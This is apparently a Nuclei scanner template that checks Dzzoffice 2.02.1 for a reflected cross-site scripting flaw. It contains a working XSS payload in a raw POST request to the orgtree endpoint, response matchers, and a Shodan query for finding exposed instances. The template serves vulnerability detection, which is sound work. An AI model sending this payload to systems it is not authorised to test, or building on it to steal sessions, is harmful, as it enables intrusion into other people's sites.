id: dzzoffice-xss

info:
  name: Dzzoffice 2.02.1 - Cross-Site Scripting
  author: arafatansari
  severity: high
  description: |
    Dzzoffice 2.02.1_SC_UTF8 contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary web script or HTML via the zero parameter.
  reference:
    - https://github.com/zyx0814/dzzoffice/issues/183
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
    cpe: cpe:2.3:a:dzzoffice:dzzoffice:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.html:"dzzoffice"
    product: dzzoffice
    vendor: dzzoffice
  tags: dzzoffice,xss

http:
  - raw:
      - |
        POST /index.php?mod=system&op=orgtree&do=orgtree HTTP/1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        id=%23&nouser=0&moderator=0&zero=<img+src=x+onerror=alert(document.domain)>&stype=0&range=0&showjob=0

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"text":"<img src=x onerror=alert(document.domain)>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a0046304402203401d17dbd3224c5a78d8e2ce12a05e174e443c5699a3d4ece855c3c3f7ff3bb022079e8024e1f3571160053f95f8a3e9e88b5a68f2152f5d441e69f99afc4f394c2:922c64590222798bb761d5b6d8e72950